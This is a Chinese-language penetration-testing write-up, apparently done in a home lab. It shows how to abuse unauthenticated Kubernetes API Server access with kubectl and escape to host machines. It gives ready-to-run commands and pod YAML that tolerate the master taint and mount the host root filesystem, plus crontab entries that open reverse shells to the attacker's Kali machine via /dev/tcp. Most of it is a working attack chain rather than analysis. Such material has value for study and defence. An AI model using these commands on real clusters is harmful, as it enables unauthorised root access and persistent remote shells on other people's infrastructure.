K8s 污点横向 & API Server 未授权访问 & Docker 危险挂载逃逸

本文作者:弱鸡






名词

  • Kubernetes: 简称 K8s,K8s 用来方便管理各个主机的 pod(docker)
  • node: 主机
  • pod: 主机里面运行的 Docker

我的理解

K8s 是一共虚拟机系统,节点机器(master)可以控制多个机器里面的 pod(docker),网络也是分为 K8s 网络,和真实机器网络。污点是一种k8s的规则,用来设置主机的一些资源。

其中污点有三种属性(效果):

  1. NoSchedule:这是最常见的类型,表示不允许 Pod 被自动调度到带有此污点的节点上。只有当 Pod 具有与污点匹配的容忍度时,才能在这些节点上调度 Pod。
  2. PreferNoSchedule:这种类型表示不推荐但允许 Pod 被调度到带有此污点的节点上。即使节点上设置了 PreferNoSchedule 污点,如果没有其他更适合的节点,Pod 仍然可以被调度到这些节点上。
  3. NoExecute:这种类型表示节点上的Pod会被驱逐(Eviction),即使它们已经运行在该节点上。通常,`NoExecute`` 污点会导致 Pod 被终止并迁移到其他节点。

在 K8s 中,设置了一共 pod(docker),其它机器可以作为服务器访问(和负载均衡一样),而这个属性就是用来协作这个设置的。

环境搭建

kali :192.168.86.218

master:192.168.86.220

node1:192.168.86.221

node2:192.168.86.222

前言

我在学习 K8s 渗透的时候,发现大多数是管理员配置所造成的漏洞,而且污点横向,需要满足很多条件。

​1. 存在污点之后,需要有权限执行 Kubernetes 命令,来下发执行,但是这个需要 (master) 节点机器权限,这个时候就需要漏洞配合使用,这个漏洞可以达到 (master) 节点机器权限执行 Kubernetes 来下发任务给 Pod 机器执行任务。

  1. 而且在下发安装 Docker 容器的时候,如果不选择的话,是默认安装在某一个 node(在安装k8s配置文件的时候可以修改)

其中 pod 节点是安装在 node1 中的。


这个虽然是安装在 node1 里面,但是其它三台机器也是可以访问的(k8s的负载均衡)


直接使用工具拿 shell



先判断当前环境


判断出当前环境是 kubepods

上传cdk_linux_amd64到目标机器

自动扫描逃逸漏洞

./cdk_linux_amd64 evaluate
1


存在 API Server 未授权


吐槽一下k8s污点横向需要配合一些漏洞,而这些配合漏洞往往可以单独拿到权限

上传 Kubectl ,执行命令查看污点 node

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes  | grep Taints --username=a --password=a #密码随便输入
describe nodes  | grep Taints #执行的命令
1
2

cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-x
spec:
  tolerations:
  - key: "node-role.kubernetes.io/master"
    operator: "Exists"
    effect: "NoSchedule"
  containers:
  - name: control-master-x
    image: ubuntu:18.04
    command: ["/bin/sleep", "3650d"]
    volumeMounts:
    - name: master
      mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory
EOF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

key: 污点名字

image: 镜像名字

mountPath: 挂载路径

name pod: Docker 名字


使用接口下发任务到机器

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml #执行的命令
1

查看 pod 节点信息

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide
get pods -o #wide执行的命令
1
2

并没节点 master 机器


坑点: 我下发了几发现都失败,而且需要挂载到 master 节点机器上面,需要多次创建,而且创建的时候name需要名字不一样

我这里创建了三次,第四次才成功


执行命令

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master-x231 -- bash -c "ls /master"
1

control-master-x231 是 master 节点 pod 名字

-c 后是所要执行的命令

/master 是挂载的路径

这里使用挂载逃逸可以逃逸到真实机器


然后我们直接写入计划任务进行反弹 Shell

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master-x231 -- bash -c "echo -e '* * * * * root bash -i >& /dev/tcp/192.168.86.218/6677 0>&1\\n' >> /master/etc/crontab"
1


拿到 master 机器权限

这个时候我们可以下发任务,进行逃逸拿到真实机器权限

cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: node2
spec:
  nodeName: node2
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /
EOF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

nodeName 节点名字

kubectl get node -o wide 查看node信息

kubectl create -f x.yaml 下发任务

kubectl get pods -o wide 查看node信息

kubectl delete -f x.yaml 删除pod




下发成功,开始挂载逃逸

kubectl exec node2 -- bash -c "echo -e '* * * * * root bash -i >& /dev/tcp/192.168.86.218/6612 0>&1\\n' >> /mnt/etc/crontab"
kubectl exec node1 -- bash -c "cat /mnt/etc/crontab"
1
2

记得修改路径 /mnt/etc/crontab